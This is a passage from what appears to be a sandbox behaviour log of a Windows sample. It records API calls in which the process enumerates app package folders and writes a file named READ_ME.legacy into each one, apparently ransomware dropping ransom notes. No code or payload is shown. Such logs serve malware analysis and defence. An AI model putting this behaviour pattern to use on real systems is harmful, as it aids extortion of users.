| out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.527] CloseHandle (hObject=0x8c8) returned 1 [0154.527] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236fd1e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7128025e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7128025e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.528] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0154.553] WriteFile (in: hFile=0x8c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.553] CloseHandle (hObject=0x8c8) returned 1 [0154.554] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4584a9e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd4584a9e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd4584a9e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.554] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0154.554] WriteFile (in: hFile=0x8c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.555] CloseHandle (hObject=0x8c8) returned 1 [0154.555] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236fd1e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce82befc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236fd1e4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.555] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0154.556] WriteFile (in: hFile=0x8c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.556] CloseHandle (hObject=0x8c8) returned 1 [0154.556] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236fd1e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce82befc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236fd1e4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.556] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f7086bb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe399a196, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e748 [0154.557] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f7086bb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe399a196, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.557] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f7086bb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f72e917, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f72e917, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.557] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0154.572] WriteFile (in: hFile=0x8cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.573] CloseHandle (hObject=0x8cc) returned 1 [0154.573] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f66fd54, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f66fd54, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f66fd54, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.573] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0154.574] WriteFile (in: hFile=0x8cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.575] CloseHandle (hObject=0x8cc) returned 1 [0154.575] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xce8a0b61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.575] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0154.576] WriteFile (in: hFile=0x8cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.577] CloseHandle (hObject=0x8cc) returned 1 [0154.577] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f649af8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.577] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0154.578] WriteFile (in: hFile=0x8cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.579] CloseHandle (hObject=0x8cc) returned 1 [0154.579] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe399a196, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe399a196, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe399a196, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.579] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f649af8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.579] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0154.579] WriteFile (in: hFile=0x8cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.580] CloseHandle (hObject=0x8cc) returned 1 [0154.580] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f66fd54, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f66fd54, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f66fd54, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.580] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0154.581] WriteFile (in: hFile=0x8cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.581] CloseHandle (hObject=0x8cc) returned 1 [0154.582] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f66fd54, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f66fd54, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f66fd54, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.582] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0154.582] WriteFile (in: hFile=0x8cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.583] CloseHandle (hObject=0x8cc) returned 1 [0154.583] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f649af8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.583] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0154.584] WriteFile (in: hFile=0x8cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.585] CloseHandle (hObject=0x8cc) returned 1 [0154.585] FindNextFileW (in: hFindFile=0x61e748, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f649af8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.585] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b2eb9cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe399a196, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e9c8 [0154.585] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b2eb9cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe399a196, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.585] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b6ec46e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x35a9714d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35a9714d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.585] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0154.587] WriteFile (in: hFile=0x8d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.588] CloseHandle (hObject=0x8d0) returned 1 [0154.588] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b673a2c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f1916, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b673a2c, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.588] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0154.592] WriteFile (in: hFile=0x8d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.592] CloseHandle (hObject=0x8d0) returned 1 [0154.593] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b5ac30d, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f2195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b5ac30d, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.593] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0154.594] WriteFile (in: hFile=0x8d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.595] CloseHandle (hObject=0x8d0) returned 1 [0154.595] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f2b5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b585e2b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.595] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0154.596] WriteFile (in: hFile=0x8d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.597] CloseHandle (hObject=0x8d0) returned 1 [0154.597] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe399a196, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe399a196, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe399a196, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.597] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f3688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b585e2b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.597] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0154.598] WriteFile (in: hFile=0x8d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.599] CloseHandle (hObject=0x8d0) returned 1 [0154.599] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, 